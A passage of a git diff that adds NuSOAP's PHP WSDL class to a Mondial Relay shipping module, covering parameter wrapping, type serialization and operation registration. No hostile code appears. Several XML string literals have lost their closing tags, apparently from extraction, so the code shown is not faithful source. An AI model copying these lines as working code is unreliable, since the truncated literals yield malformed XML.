type into namespace:unqualified-type + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in parametersMatchWrapped: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in parametersMatchWrapped: expanded prefixed type: $uqType, $ns"); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in parametersMatchWrapped: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + + // get the type information + if (!$typeDef = $this->getTypeDef($uqType, $ns)) { + $this->debug("in parametersMatchWrapped: $type ($uqType) is not a supported type."); + return false; + } + $this->debug("in parametersMatchWrapped: found typeDef="); + $this->appendDebug($this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + $phpType = $typeDef['phpType']; + $arrayType = (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : ''); + $this->debug("in parametersMatchWrapped: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: $arrayType"); + + // we expect a complexType or element of complexType + if ($phpType != 'struct') { + $this->debug("in parametersMatchWrapped: not a struct"); + return false; + } + + // see whether the parameter names match the elements + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $elements = 0; + $matches = 0; + foreach ($typeDef['elements'] as $name => $attrs) { + if (isset($parameters[$name])) { + $this->debug("in parametersMatchWrapped: have parameter named $name"); + $matches++; + } else { + $this->debug("in parametersMatchWrapped: do not have parameter named $name"); + } + $elements++; + } + + $this->debug("in parametersMatchWrapped: $matches parameter names match $elements wrapped parameter names"); + if ($matches == 0) { + return false; + } + return true; + } + + // since there are no elements for the type, if the user passed no + // parameters, the parameters match wrapped. + $this->debug("in parametersMatchWrapped: no elements type $ns:$uqType"); + return count($parameters) == 0; + } + + /** + * serialize PHP values according to a WSDL message definition + * contrary to the method name, this is not limited to RPC + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @param string $bindingType (soap|soap12) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + */ + function serializeRPCParameters($operation, $direction, $parameters, $bindingType = 'soap') { + $this->debug("in serializeRPCParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion, bindingType=$bindingType"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation, $bindingType)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + return false; + } + $this->debug('in serializeRPCParameters: opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + $parts = &$opData[$direction]['parts']; + $part_count = sizeof($parts); + $style = $opData['style']; + $use = $opData[$direction]['use']; + $this->debug("have $part_count part(s) to serialize using $style/$use"); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $parameter_count = count($parameters); + $this->debug("have $parameter_count parameter(s) provided as $parametersArrayType to serialize"); + // check for Microsoft-style wrapped parameters + if ($style == 'document' && $use == 'literal' && $part_count == 1 && isset($parts['parameters'])) { + $this->debug('check whether the caller has wrapped the parameters'); + if ($direction == 'output' && $parametersArrayType == 'arraySimple' && $parameter_count == 1) { + // TODO: consider checking here for double-wrapping, when + // service function wraps, then NuSOAP wraps again + $this->debug("change simple array to associative with 'parameters' element"); + $parameters['parameters'] = $parameters[0]; + unset($parameters[0]); + } + if (($parametersArrayType == 'arrayStruct' || $parameter_count == 0) && !isset($parameters['parameters'])) { + $this->debug('check whether caller\'s parameters match the wrapped ones'); + if ($this->parametersMatchWrapped($parts['parameters'], $parameters)) { + $this->debug('wrap the parameters for the caller'); + $parameters = array('parameters' => $parameters); + $parameter_count = 1; + } + } + } + foreach ($parts as $name => $type) { + $this->debug("serializing part $name of type $type"); + // Track encoding style + if (isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeRPCParameters returning: $xml"); + return $xml; + } + + /** + * serialize a PHP value according to a WSDL message definition + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + * @deprecated + */ + function serializeParameters($operation, $direction, $parameters) + { + $this->debug("in serializeParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation); + return false; + } + $this->debug('opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + + $use = $opData[$direction]['use']; + $this->debug("use=$use"); + $this->debug('got ' . count($opData[$direction]['parts']) . ' part(s)'); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $this->debug('have ' . $parametersArrayType . ' parameters'); + foreach($opData[$direction]['parts'] as $name => $type) { + $this->debug('serializing part "'.$name.'" of type "'.$type.'"'); + // Track encoding style + if(isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeParameters returning: $xml"); + return $xml; + } + + /** + * serializes a PHP value according a given type definition + * + * @param string $name name of value (part or element) + * @param string $type XML schema type of value (type or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @param boolean $unqualified a kludge for what should be XML namespace form handling + * @return string value serialized as an XML string + * @access private + */ + function serializeType($name, $type, $value, $use='encoded', $encodingStyle=false, $unqualified=false) + { + $this->debug("in serializeType: name=$name, type=$type, use=$use, encodingStyle=$encodingStyle, unqualified=" . ($unqualified ? "unqualified" : "qualified")); + $this->appendDebug("value=" . $this->varDump($value)); + if($use == 'encoded' && $encodingStyle) { + $encodingStyle = ' SOAP-ENV:encodingStyle="' . $encodingStyle . '"'; + } + + // if a soapval has been supplied, let its type override the WSDL + if (is_object($value) && get_class($value) == 'soapval') { + if ($value->type_ns) { + $type = $value->type_ns . ':' . $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } elseif ($value->type) { + $type = $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } else { + $forceType = false; + $this->debug("in serializeType: soapval does not override type"); + } + $attrs = $value->attributes; + $value = $value->value; + $this->debug("in serializeType: soapval overrides value to $value"); + if ($attrs) { + if (!is_array($value)) { + $value['!'] = $value; + } + foreach ($attrs as $n => $v) { + $value['!' . $n] = $v; + } + $this->debug("in serializeType: soapval provides attributes"); + } + } else { + $forceType = false; + } + + $xml = ''; + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in serializeType: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in serializeType: expanded prefixed type: $uqType, $ns"); + } + + if($ns == $this->XMLSchemaVersion || $ns == 'http://schemas.xmlsoap.org/soap/encoding/'){ + $this->debug('in serializeType: type namespace indicates XML Schema or SOAP Encoding type'); + if ($unqualified && $use == 'literal') { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + // TODO: depends on nillable, which should be checked before calling this method + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if ($uqType == 'Array') { + // JBoss/Axis does this sometimes + return $this->serialize_val($value, $name, false, false, false, false, $use); + } + if ($uqType == 'boolean') { + if ((is_string($value) && $value == 'false') || (! $value)) { + $value = 'false'; + } else { + $value = 'true'; + } + } + if ($uqType == 'string' && gettype($value) == 'string') { + $value = $this->expandEntities($value); + } + if (($uqType == 'long' || $uqType == 'unsignedLong') && gettype($value) == 'double') { + $value = sprintf("%.0lf", $value); + } + // it's a scalar + // TODO: what about null/nil values? + // check type isn't a custom type extending xmlschema namespace + if (!$this->getTypeDef($uqType, $ns)) { + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('custom type extends XML Schema or SOAP Encoding namespace (yuck)'); + } else if ($ns == 'http://xml.apache.org/xml-soap') { + $this->debug('in serializeType: appears to be Apache SOAP type'); + if ($uqType == 'Map') { + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + if (! $tt_prefix) { + $this->debug('in serializeType: Add namespace for Apache SOAP type'); + $tt_prefix = 'ns' . rand(1000, 9999); + $this->namespaces[$tt_prefix] = 'http://xml.apache.org/xml-soap'; + // force this to be added to usedNamespaces + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + } + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing map element: key $k, value $v"); + $contents .= ''; + $contents .= $this->serialize_val($k,'key',false,false,false,false,$use); + $contents .= $this->serialize_val($v,'value',false,false,false,false,$use); + $contents .= ''; + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\">$contents"; + } else { + $xml = "<$name>$contents"; + } + } else { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\"$encodingStyle>$contents"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('in serializeType: Apache SOAP type, but only support Map'); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in serializeType: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + if(!$typeDef = $this->getTypeDef($uqType, $ns)){ + $this->setError("$type ($uqType) is not a supported type."); + $this->debug("in serializeType: $type ($uqType) is not a supported type."); + return false; + } else { + $this->debug("in serializeType: found typeDef"); + $this->appendDebug('typeDef=' . $this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + } + if (!isset($typeDef['phpType'])) { + $this->setError("$type ($uqType) has no phpType."); + $this->debug("in serializeType: $type ($uqType) has no phpType."); + return false; + } + $phpType = $typeDef['phpType']; + $this->debug("in serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: " . (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : '') ); + // if php type == struct, map value to the element names + if ($phpType == 'struct') { + if (isset($typeDef['typeClass']) && $typeDef['typeClass'] == 'element') { + $elementName = $uqType; + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + $elementNS = " xmlns=\"\""; + } + } else { + $elementName = $name; + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs and nillable + $xml = "<$elementName$elementNS/>"; + } else { + $xml = "<$elementName$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (is_object($value)) { + $value = get_object_vars($value); + } + if (is_array($value)) { + $elementAttrs = $this->serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType); + if ($use == 'literal') { + if ($forceType) { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">"; + } else { + $xml = "<$elementName$elementNS$elementAttrs>"; + } + } else { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>"; + } + + if (isset($typeDef['simpleContent']) && $typeDef['simpleContent'] == 'true') { + if (isset($value['!'])) { + $xml .= $value['!']; + $this->debug("in serializeType: serialized simpleContent for type $type"); + } else { + $this->debug("in serializeType: no simpleContent to serialize for type $type"); + } + } else { + // complexContent + $xml .= $this->serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use, $encodingStyle); + } + $xml .= ""; + } else { + $this->debug("in serializeType: phpType is struct, but value is not an array"); + $this->setError("phpType is struct, but value is not an array: see debug output for details"); + $xml = ''; + } + } elseif ($phpType == 'array') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ":Array\" " . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ':arrayType="' . + $this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) . + ':' . + $this->getLocalPart($typeDef['arrayType'])."[0]\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (isset($typeDef['multidimensional'])) { + $nv = array(); + foreach($value as $v) { + $cols = ',' . sizeof($v); + $nv = array_merge($nv, $v); + } + $value = $nv; + } else { + $cols = ''; + } + if (is_array($value) && sizeof($value) >= 1) { + $rows = sizeof($value); + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing array element: $k, $v of type: $typeDef[arrayType]"); + //if (strpos($typeDef['arrayType'], ':') ) { + if (!in_array($typeDef['arrayType'],$this->typemap['http://www.w3.org/2001/XMLSchema'])) { + $contents .= $this->serializeType('item', $typeDef['arrayType'], $v, $use); + } else { + $contents .= $this->serialize_val($v, 'item', $typeDef['arrayType'], null, $this->XMLSchemaVersion, false, $use); + } + } + } else { + $rows = 0; + $contents = null; + } + // TODO: for now, an empty value will be serialized as a zero element + // array. Revisit this when coding the handling of null/nil values. + if ($use == 'literal') { + $xml = "<$name$elementNS>" + .$contents + .""; + } else { + $xml = "<$name$elementNS xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').':Array" '. + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') + .':arrayType="' + .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) + .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">" + .$contents + .""; + } + } elseif ($phpType == 'scalar') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + + /** + * serializes the attributes for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType) { + $this->debug("serializeComplexTypeAttributes for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize attributes for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeAttributes($typeDefx, $value, $nsx, $uqTypex); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['attrs']) && is_array($typeDef['attrs'])) { + $this->debug("serialize attributes for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + foreach ($typeDef['attrs'] as $aName => $attrs) { + if (isset($xvalue['!' . $aName])) { + $xname = '!' . $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($xvalue[$aName])) { + $xname = $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($attrs['default'])) { + $xname = '!' . $aName; + $xvalue[$xname] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$aName] . ' for attribute ' . $aName); + } else { + $xname = ''; + $this->debug("no value provided for attribute $aName"); + } + if ($xname) { + $xml .= " $aName=\"" . $this->expandEntities($xvalue[$xname]) . "\""; + } + } + } else { + $this->debug("no attributes to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * serializes the elements for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use='encoded', $encodingStyle=false) { + $this->debug("in serializeComplexTypeElements for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize elements for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeElements($typeDefx, $value, $nsx, $uqTypex, $use, $encodingStyle); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $this->debug("in serializeComplexTypeElements, serialize elements for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + // toggle whether all elements are present - ideally should validate against schema + if (count($typeDef['elements']) != count($xvalue)){ + $optionals = true; + } + foreach ($typeDef['elements'] as $eName => $attrs) { + if (!isset($xvalue[$eName])) { + if (isset($attrs['default'])) { + $xvalue[$eName] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$eName] . ' for element ' . $eName); + } + } + // if user took advantage of a minOccurs=0, then only serialize named parameters + if (isset($optionals) + && (!isset($xvalue[$eName])) + && ( (!isset($attrs['nillable'])) || $attrs['nillable'] != 'true') + ){ + if (isset($attrs['minOccurs']) && $attrs['minOccurs'] <> '0') { + $this->debug("apparent error: no value provided for element $eName with minOccurs=" . $attrs['minOccurs']); + } + // do nothing + $this->debug("no value provided for complexType element $eName and element is not nillable, so serialize nothing"); + } else { + // get value + if (isset($xvalue[$eName])) { + $v = $xvalue[$eName]; + } else { + $v = null; + } + if (isset($attrs['form'])) { + $unqualified = ($attrs['form'] == 'unqualified'); + } else { + $unqualified = false; + } + if (isset($attrs['maxOccurs']) && ($attrs['maxOccurs'] == 'unbounded' || $attrs['maxOccurs'] > 1) && isset($v) && is_array($v) && $this->isArraySimpleOrStruct($v) == 'arraySimple') { + $vv = $v; + foreach ($vv as $k => $v) { + if (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } else { + if (is_null($v) && isset($attrs['minOccurs']) && $attrs['minOccurs'] == '0') { + // do nothing + } elseif (is_null($v) && isset($attrs['nillable']) && $attrs['nillable'] == 'true') { + // TODO: serialize a nil correctly, but for now serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } elseif (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } + } + } else { + $this->debug("no elements to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * adds an XML Schema complex type to the WSDL types + * + * @param string $name + * @param string $typeClass (complexType|simpleType|attribute) + * @param string $phpType currently supported are array and struct (php assoc array) + * @param string $compositor (all|sequence|choice) + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param array $elements e.g. array ( name => array(name=>'',type=>'') ) + * @param array $attrs e.g. array(array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'xsd:string[]')) + * @param string $arrayType as namespace:name (xsd:string) + * @see nusoap_xmlschema + * @access public + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType='') { + if (count($elements) > 0) { + $eElements = array(); + foreach($elements as $n => $e){ + // expand each element + $ee = array(); + foreach ($e as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $ee[$k] = $v; + } + $eElements[$n] = $ee; + } + $elements = $eElements; + } + + if (count($attrs) > 0) { + foreach($attrs as $n => $a){ + // expand each attribute + foreach ($a as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $aa[$k] = $v; + } + $eAttrs[$n] = $aa; + } + $attrs = $eAttrs; + } + + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + $arrayType = strpos($arrayType,':') ? $this->expandQname($arrayType) : $arrayType; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addComplexType($name,$typeClass,$phpType,$compositor,$restrictionBase,$elements,$attrs,$arrayType); + } + + /** + * adds an XML Schema simple type to the WSDL types + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @see nusoap_xmlschema + * @access public + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addSimpleType($name, $restrictionBase, $typeClass, $phpType, $enumeration); + } + + /** + * adds an element to the WSDL types + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addElement($attrs); + } + + /** + * register an operation with the server + * + * @param string $name operation (method) name + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param string $namespace optional The namespace for the operation + * @param string $soapaction optional The soapaction for the operation + * @param string $style (rpc|document) optional The style for the operation Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param string $use (encoded|literal) optional The use for the parameters (cannot mix right now) + * @param string $documentation optional The description to include in the WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function addOperation($name, $in = false, $out = false, $namespace = false, $soapaction = false, $style = 'rpc', $use = 'encoded', $documentation = '', $encodingStyle = ''){ + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + if ($style == 'document') { + $elements = array(); + foreach ($in as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'RequestType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name, 'type' => $name . 'RequestType')); + $in = array('parameters' => 'tns:' . $name . '^'); + + $elements = array(); + foreach ($out as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'ResponseType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name . 'Response', 'type' => $name . 'ResponseType', 'form' => 'qualified')); + $out = array('parameters' => 'tns:' . $name . 'Response' . '^'); + } + + // get binding + $this->bindings[ $this->serviceName . 'Binding' ]['operations'][$name] = + array( + 'name' => $name, + 'binding' => $this->serviceName . 'Binding', + 'endpoint' => $this->endpoint, + 'soapAction' => $soapaction, + 'style' => $style, + 'input' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Request', + 'parts' => $in), + 'output' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Response', + 'parts' => $out), + 'namespace' => $namespace, + 'transport' => 'http://schemas.xmlsoap.org/soap/http', + 'documentation' => $documentation); + // add portTypes + // add messages + if($in) + { + foreach($in as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Request'][$pName] = $pType; + } + } else { + $this->messages[$name.'Request']= '0'; + } + if($out) + { + foreach($out as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Response'][$pName] = $pType; + } + } else { + $this->messages[$name.'Response']= '0'; + } + return true; + } +} + diff --git a/modules/mondialrelay2/lib/nusoap/class.wsdlcache.php b/modules/mondialrelay2/lib/nusoap/class.wsdlcache.php new file mode 100755 index 0000000..eb003c1 --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.wsdlcache.php @@ 